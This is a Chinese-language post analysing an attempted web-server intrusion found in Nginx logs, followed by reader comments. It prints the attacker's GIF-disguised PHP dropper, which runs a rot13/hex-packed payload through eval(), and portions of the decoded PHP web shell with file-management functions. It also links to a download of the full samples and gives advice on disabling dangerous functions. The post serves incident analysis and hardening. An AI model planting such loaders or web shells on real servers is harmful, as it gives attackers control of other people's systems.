网站被尝试攻击分析
Nginx 日志
早上发现 nginx
日志,出现了异常访问,查看了下发现有人尝试通过 copy
函数去吧一份执行文件拷贝到我方网站根目录,虽然后第二条记录就是去访问执行该文件。
远程执行文件文本样本
a.txt 需要完整样本的可以到底部链接下载
GIF89a<?php
$password = "aea6ed37c8524d1d2b8c9e9014dcd82b"; //dasw83
@error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',10000);
header("content-Type: text/html; charset=gb2312");
$str = "66756....293o"; //此处二进制数据由于太长省略掉
$dir = pack("H*",str_rot13($str));
eval($dir);
?>
通过了该样本的 pack
函数,又再输出成文本。
样本
za.php 需要完整样本的可以到底部链接下载
<?php
function strdir($str) {
return str_replace(array('\\','//','%27','%22'),array('/','/','\'','"'),chop($str));
}function chkgpc($array) {
foreach($array as $key => $var) {
$array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
}
return $array;
}
$myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
$myfile = strpos($myfile,'eval()') ? array_shift(explode('(',$myfile)) : $myfile;
define('THISDIR',strdir(dirname($myfile).'/'));
define('ROOTDIR',strdir(strtr($myfile,array(strdir($_SERVER['PHP_SELF']) => '')).'/'));
onclick="acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';echo '<td>'.$ctime.'</td>';echo '<td>'.$mtime.'</td>';echo '<td>-</td>';echo '</tr>';$dnum++;}foreach($array['file'] as $path => $name) {$prem = substr(decoct(fileperms($path)),-4);$ctime = date('Y-m-d H:i:s',filectime($path));$mtime = date('Y-m-d H:i:s',filemtime($path));$size = size(filesize($path));echo '<tr>';echo '<td><input type="checkbox" name="files[]" value="'.$name.'"><a target="_blank" href="'.$thisurl.$name.'">'.strtr($name,array('%27' => '\'','%22' => '"')).'</a></td>';echo '<td><a href="javascript:void(0);" onclick="go(\'edit\',\''.$name.'\');">编辑</a> ';echo '<a href="javascript:void(0);" onclick="acts(\''.$name.'\',\'rf\',\''.$name.'\');">改名</a></td>';echo '<td><a href="javascript:void(0);" onclick="acts(\''.$prem.'\',\'pd\',\''.$name.'\');">'.$prem.'</a></td>';echo '<td>'.$ctime.'</td>';echo '<td>'.$mtime.'</td>';echo '<td align="right"><a href="javascript:void(0);" onclick="go(\'down\',\''.$name.'\');">'.$size.'</a></td>';echo '</tr>';$fnum++;}}unset($array);echo '</table>';echo '<div class="actall" style="text-align:left;">';echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';echo '<input type="button" value="复制" style="width:50px;" onclick=\'txts("复制路径","'.$nowdir.'","a");\'> ';echo '<input type="button" value="删除" style="width:50px;" onclick=\'dels("b");\'> ';echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","'.$mtime.'","d");\'> ';echo '目录['.$dnum.'] - 文件['.$fnum.'] - 属性['.$chmod.']</div></form>';break;}?><div class="footag"><?php echo php_uname().'<br>'.$_SERVER['SERVER_SOFTWARE'];?></div></div></div></body></html>
<?php unset($array);
至此,改脚本文件已成型,如果被改攻击者 复制执行成功,服务器将沦陷。
一个小网站都被扫描攻击。。各位看看自己的网站有没有类似的吧。之前还遇到过扫描,上传等试探。
危险的函数,如没用到请务必禁用,目录文件访问权限请务必做好。
需要样本可下载分析:
链接:pan.baidu.com/s/1rjN_u7AHY7pzEv0PT...
提取码:r936
有意思,参数过滤太重要了
感谢分享, 这样的攻击有点意思